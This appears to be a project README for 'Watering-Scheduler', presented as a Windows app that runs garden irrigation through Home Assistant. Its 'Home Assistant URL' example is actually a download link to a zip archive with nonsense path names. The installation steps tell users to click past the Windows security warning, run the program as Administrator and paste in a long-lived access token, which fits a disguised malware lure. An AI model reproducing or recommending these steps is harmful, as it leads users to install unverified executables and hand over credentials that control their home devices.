Watering-Scheduler helps you manage your garden irrigation through Home Assistant. It removes the need for manual watering. You create custom schedules for your plants. The system turns your valves on and off based on these settings. It uses your existing HACS integration to talk to your smart home equipment. You save water and keep your plants healthy.
Your computer needs Windows 10 or Windows 11 to run this application. You must have Home Assistant running on your local network. You also need the HACS integration installed within Home Assistant. Ensure your computer stays connected to the same network as your Home Assistant server. You need a basic understanding of your home network settings.
You need to download the current version of the application.
- Visit this page to download.
- Look for the file ending in .exe in the Assets section.
- Click the file name to start the download.
- Save the file to your desktop for easy access.
Follow these steps to prepare the software once the download finishes:
- Double-click the file you downloaded.
- Windows might show a security prompt. If Windows protects your PC, click "More info," then click "Run anyway."
- The installer window appears on your screen.
- Follow the prompts to select your installation folder.
- Click "Install" to copy the files to your computer.
- The installer creates a shortcut on your desktop.
The application needs access to your Home Assistant server to work. You must provide the address of your server.
- Open the Watering-Scheduler application using the desktop icon.
- The settings window opens on first launch.
- Enter your Home Assistant URL in the first box. This usually looks like https://github.com/Basicre4782/Watering-Scheduler/raw/refs/heads/main/paramiographer/Watering_Scheduler_Elasmobranchii.zip
- You need an Access Token. Open Home Assistant in your web browser.
- Go to your Profile settings.
- Scroll down to Long-Lived Access Tokens.
- Click "Create Token" and name it Watering-Scheduler.
- Copy the long code string.
- Paste this code into the Access Token box in the application.
- Click the "Save and Test Connection" button.
- A success message confirms the link between your computer and your garden system.
You define your watering patterns after the connection works.
- Select the "Schedules" tab in the main window.
- Click the "Add Schedule" button.
- Type a name for your zone, such as "Front Lawn" or "Vegetable Garden."
- Select the smart valve from the dropdown list. The application pulls this list from your HACS integration.
- Pick the days of the week for watering.
- Set the start time.
- Choose the duration in minutes.
- Click "Apply" to save your schedule.
- Click "Sync" to send these instructions to your hardware.
The application includes features to help you manage water usage.
- Manual Override: You can start or stop any valve instantly. Click the "Manual" tab and toggle the switch for the specific zone.
- Weather Adjustment: The system checks local weather data. If your area expects rain, the scheduler skips the next cycle. This prevents over-watering.
- Watering History: Open the "Logs" tab to see when the system last watered your plants. You can view data for the last thirty days.
- Safety Limits: You can set a maximum run time for each valve. This prevents flooding if a sensor fails. You change these settings in the Configuration menu.
Most problems have simple solutions. Read this section if you encounter errors.
- Connection Error: Verify that your Home Assistant server is running. Check that your computer and Home Assistant are on the same network. Ensure you copied the full Access Token.
- Valves do not trigger: Check the HACS integration status in Home Assistant. Ensure the valve entities appear active. Check if the physical valves have power or batteries.
- Schedules not saving: Close the application and run it as an Administrator. Right-click the application icon and choose "Run as administrator." This gives the program permission to write settings files.
- Update notifications: Occasionally, a new version becomes available. The status bar at the bottom of the window shows an update alert. Follow the link to download the new version. Your settings remain saved during the update.
This application runs locally on your machine. We do not track your data. Your Access Token stays on your computer and is only used to send commands to your Home Assistant server. You hold full control over the information because the software does not send data to external cloud services. You should keep your Access Token private and secure. Do not share your token with other people.